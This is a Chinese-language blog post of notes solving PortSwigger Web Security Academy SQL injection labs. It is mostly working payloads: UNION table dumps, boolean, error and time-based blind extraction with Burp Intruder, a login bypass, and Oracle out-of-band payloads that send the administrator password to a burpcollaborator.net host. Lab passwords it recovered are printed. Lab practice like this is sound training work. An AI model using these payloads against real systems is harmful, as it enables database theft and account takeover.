Burp学院-SQL注入

前言：

　　上传下自己做的笔记，这些题做了好久好久了，一直没冒泡，之前想上传些东西结果博客园炸了就忘了，周五快下班了手头工作暂时缓解了，传点东西上来。

1.SQL injection UNION attack, determining the number of columns returned by the query。UNION攻击，确定查询返回的列数

抓包发送到Repeater，修改参数注入
?category=Pets' order by 3--
页面返回正常
?category=Pets' order by 4--
Internal Server Error
所以为3列。
?category=Pets' union select null,null--
页面错误
?category=Pets' union select null,null,null--
页面返回正常，Solved
2.SQL injection UNION attack, finding a column containing text。UNION攻击，查找包含文本的列
Make the database retrieve the string: 'YjuMnv'，使数据库检索随机字符串"YjuMnv"
进阶着上个实验，也是三列，抓包发送到Repeater，直接输入语句即可，三个null位置轮流试
?category=Tech' union select null,'YjuMnv',null--
页面返回正常，Solved
3.UNION attack, retrieving data from other tables。UNION攻击，从其他表中检索数据
?category=Gifts' union select null,null--
懒得抓包，直接Hackbar搞起，尝试了下发现这个环境列数为两列。
?category=Gifts' union select 'test1','test2'--
确认输出列为页面最下方两列数据。
?category=Gifts' union select username,password from users--
administrator     crtlnqexkg5pkyklkzdx
登录，Solved。
4.SQL injection UNION attack, retrieving multiple values in a single column。UNION攻击，在单个列中检索多个值
尝试使用Group_concat()
?category=Accessories' union select null,null--
Hackbar中发现列数仍然为两列。
?category=Accessories' union select null,concat(username,password) from users--
group_concat报Internal Server Error，concat可以使用。
?category=Accessories' union select null,username||'~'||password from users--
按照提供的语句来一遍成功，必须带||||和''，||'~'||、||''||或填写任意字符都可以。
登录administrator，Solved。
5.SQL injection attack, querying the database type and version on Oracle。在Oracle上查询数据库类型和版本
Oracle上有个dual表，查询需要借助该表完成。
?category=Pets' union select null,null from dual--
尝试发现列数为两列。
?category=Pets' union select null,banner from v$version--
banner信息就是欢迎语，在banner信息中可以得到软件开发商，软件名称、版本、服务类型等信息，查询版本不同于MySQL@@version，Oracle中为v$version
6.SQL injection attack, querying the database type and version on MySQL and Microsoft。在MySQL和Microsoft上查询数据库类型和版本
' union select null,null--、' union select null,null,null--、' union select null,null,null,null--
一连串400报错，--换成#还是400报错...怀疑人生，必须抓包了。
抓包发送到Repeater添加+号代替空格变成了500报错，有戏，--改成#成了
?category=fuck'+union+select+null,+null--
?category=fuck'+union+select+null,+null#
?category=fuck'+union+select+'test1',+'test2'#
探测输出位，在页面下方
?category=fuck'+union+select+@@version,+null#
想在Hackbar里完成操作发现无法显示，可能需要添加sleep语句，如'union+select+@@version,+sleep(5)#
7.SQL injection attack, listing the database contents on non-Oracle databases。列出非Oracle数据库上的数据库内容
点击pets，抓包
GET /filter?category=Pets' union select null-- HTTP/1.1
order by无法使用，只能一个个字符尝试：
GET /filter?category=Pets'+union+select+null,null-- HTTP/1.1
得到为两列，插入字符得到显示位
查询数据库中的表：
GET /filter?category=Pets'+union+select+table_name,null+from+information_schema.tables-- HTTP/1.1
查询列：试了好多表，后来查了下才发现数据在users_mklbnz里面
GET /filter?category=Pets'+union+select+column_name,null+from+information_schema.columns+where+table_name='users_mklbnz'-- HTTP/1.1
查询账户和密码：
GET /filter?category=Pets'+union+select+username_sfbnsz,+password_vlveec+from+users_mklbnz-- HTTP/1.1
administrator
zu8o7dywk4quhs627fmt
8.SQL injection attack, listing the database contents on Oracle。列出Oracle上的数据库内容
?category=Gifts' union select null,null from dual--
尝试得出列数为两列。
?category=Gifts' union select 'test1','test2' from dual--
显示位在页面下方。
?category=Gifts' union select table_name,null from all_tables--
从all_tables查询所有表。
?category=Gifts' union select column_name,null from all_tab_columns where table_name='USERS_FDRGWE'--
查找一个可能有用户数据的表内列名
PASSWORD_BKFEVL   USERNAME_VTQUYA
?category=Gifts' union select USERNAME_VTQUYA,PASSWORD_BKFEVL from USERS_FDRGWE--
administrator     nj31t224hbktniopu551
登录administrator，Solved。
9.Blind SQL injection with conditional responses。带响应条件的SQL盲注
开始还以为像上面的注入点在category里，试了几次发现不对劲，看着解决方案注入点不再是category而是在cookie里，Cookie: TrackingId=CxOfHpa0iV703vdm
TrackingId=CxOfHpa0iV703vdm'and 1=1
返回信息为正常数据无反应
TrackingId=CxOfHpa0iV703vdm'and '1'='1
返回信息出现welcome back！
'and '1'='2无welcome back，字符型
TrackingId=CxOfHpa0iV703vdm'and (select 'a' from users limit 1)='a;
出现welcome back说明存在users表。
TrackingId=CxOfHpa0iV703vdm'and (select 'a' from users where username='administrator')='a;
出现welcome back，说明存在administrator
'and (select 'a' from users where username='administrator' and length(password)>19)='a;
密码长度，试到19出现welcome back，20没有，则密码19位
发送到Intruder：
Cookie: TrackingId=CxOfHpa0iV703vdm' and (select substring(password,1,1) from users where username='administrator')='§a§;
substring会将密码中字符单个提取，并针对其特性值测试，通过遍历每个位置和可能的值得到密码。
Payload页面选择"simple list"，payload option选择a-z和0-9，通过Add from list添加。
到option页面，grep匹配Grep-Match先clear所有语句，再添加语句“welcom back”，
得到第一个字符9
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
偏移量1,1改为2,1,，继续爆破，一直到20,1获取完整密码。
9ynoz9pekk7vvtf30clt，登录成功Solved，太太太难了。
10.Blind SQL injection with conditional errors。带有条件错误的盲SQL注入
'and 1=1;页面500，        ' and '1'='1; 页面正常,但没有出现welcome back，无回显
' union select version from v$instance--        返回正常，说明为Oracle数据库
/使用case when来进行判断，当WHEN后面的条件为真，则会执行THEN 后面的 1/0 报错
' union select casee when (1=2) then to_char(1/0) else null end from dual--
1=2一定false，所以不执行后面的1/0报错，页面正常。
' union select case when (username='administrators') then to_char(1/0) else null end from users--
正常，说明users表内存在username=administrators
' union select case when (username='administrator' and length(password)=19) then to_char(1/0) else null end from users--
密码位数19位，返回正常
' union select case when (username='administrator' and length(password)=20) then to_char(1/0) else null end from users--
500错误，密码为20位。
' union select case when (username='administrator' and substr(password,1,1)='§a§') then to_char(1/0) else null end from users--
Intruder开始配置simple list、a-z、0-9。开始爆破，出现500说明猜解正确。
moae7ohdeqyy8tnbhsls
登录，Solved。
 
解决思路内的方法：
'||(select'')||'    500错误，数据库对不上        '||(select'' from dual)||'    页面正常，为Oracle
查询不存在的表：not-a-real-table
'||(select'' from not-a-real-table)||'    不存在的表一定报错，说明语句在后台被执行了
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
验证是否收到错误信息，when1=1，Ture必定正确，页面爆出500错误，所以语句搜索成功返回500
'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
1=2false，页面返回正常
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
500，说明user表内administrator用户存在
'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
确认administrator密码长度大于1位，一直试探到大于>20报错，说明20位长。
'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Intruder爆破。a-z、0-9
11.Blind SQL injection with time delays。具有时间延迟的盲SQL注入
注入点也在Cookie中
不起作用：' union select sleep(5)--
不起作用：' union select pg_sleep(5)--;
不起作用：' union waitfor delay '0:0:10'--
不起作用：' union dbms_pipe.receive_message(('a'),10)--
使用解决方法内的： '||pg_sleep(10)--
也可以使用;的HTML编码后的%3b            '%3Bselect pg_sleep(5)--
Solved，发现原来这个数据库是PostgreSQL，所以用pg_sleep()。
12.Blind SQL injection with time delays and information retrieval。具有时间延迟和信息检索功能的盲SQL注入
同样是postgresql，
'||pg_sleep(3)--
'%3Bselect pg_sleep(5)--
出现延迟，存在时间盲注。
'%3Bselect case when (1=1) then pg_sleep(3) else pg_sleep(0) end--
'%3Bselect case when (1=2) then pg_sleep(5) else pg_sleep(0) end--
验证时间盲注漏洞，1=1延迟，1=2无延迟。
验证是否存在users表：'%3Bselect case when (1=1) then pg_sleep(3) else pg_sleep(0) end from users--
验证users表内是否有administrator用户：'%3Bselect case when (username='administrator') then pg_sleep(5) else pg_sleep(0) end from users--
'%3Bselect case when (username='administrator' and length(password)>19) then pg_sleep(5) else pg_sleep(0) end from users--
验证administrator用户的密码长度，长度20
'%3Bselect case when (username='administrator' and substring(password,1,1)='§a§') then pg_sleep(5) else pg_sleep(0) end from users--
Intruder爆破
0（1）b
太蛋疼了，设置下timeout结果一堆误报
设置1,1到20,1
payload sets设置
线程设置为1，756次，慢慢等，甚至可以先吃把鸡，点击Columns选择response received，倒叙排列,接近10000的是结果。
1    q
2    g
3    m
4    9
5    v
6    g
7    3
8    l
9    d
10    i
11    9
12    2
13    3
14    n
15    6
16    t
17    4
18    n
19    p
20    l
登录administrator，Solved。吐了，再也不想手动时间盲注了。
13.Blind SQL injection with out-of-band interaction。带外交互的SQL盲注，外部注入。
该数据库包含另一个名为的表users，其列名为username和password。您需要利用盲目的SQL注入漏洞来找出administrator用户密码。
这个是类似XXE的外部注入，完整的攻击需要一个外网vps配合完成
'+and+'1'='1
试探下，发现可
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
或
'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
或XXE注入，外部实体注入
'+UNION+SELECT+extractvalue(xmltype(
'<?xml+version="1.0"+encoding="UTF-8"?>
<!DOCTYPE+root+
[+<!ENTITY %+remote+SYSTEM+"http://x.burpcollaborator.net/"> %remote;]>'),'/l'
)+FROM+dual--
或
TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.mtj1ta53b35yx04am7tckjb4ivomcb.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;
还可以读取administrator的密码：
'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.guevu46xcx6syu54n1u6ldcyjppjd8.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;
密码会显示到DNS服务器内，可以使用Burp的client
14.Blind SQL injection with out-of-band data exfiltration。带外数据渗透的SQL盲注
https://portswigger.net/web-security/sql-injection/cheat-sheet
使用 Burp Collaborator client复制下DNS地址，Copy to clipboard，然后Client别关闭，等待结果。
orjcyfy1fa99b6ozdacttvmr4ia9yy.burpcollaborator.net
'+ UNION + SELECT + extractvalue（xmltype（'<％3fxml + version％3d“ 1.0” + encoding％3d“ UTF-8”％3f> <！DOCTYPE + root + [+ <！ENTITY +％25 + remote + SYSTEM +“ http％3a //'||（（SELECT + password + FROM + users + WHERE + username％3d'administrator'）||' 。ioa8x3z6f0imbza4jpgjw3kdw42uqj.burpcollaborator.net /”> +％25remote％3b]>'）） ，'/ l'）+ FROM + dual--;
使用SYSTEM指令，命名为Remote以加载URL内容，声明外部实体DTD
%remote调用触发对URL的HTTP GET请求。
burpcollaborator Client上点击Poll now立即刷新。
brqvwmehvr8bix6ru8p9登录administrator，Solved。
15.SQL injection vulnerability in WHERE clause allowing retrieval of hidden data。WHERE子句中的SQL注入漏洞允许检索隐藏数据
就是where语句注入，直接?category=Gifts' or 1=1--
16.SQL injection vulnerability allowing login bypass。万能密码
登录administrator，密码输入' or '1'='1
 
posted @ 2021-07-16 17:18  aw4ker  阅读(1173)  评论(0)  编辑  收藏  举报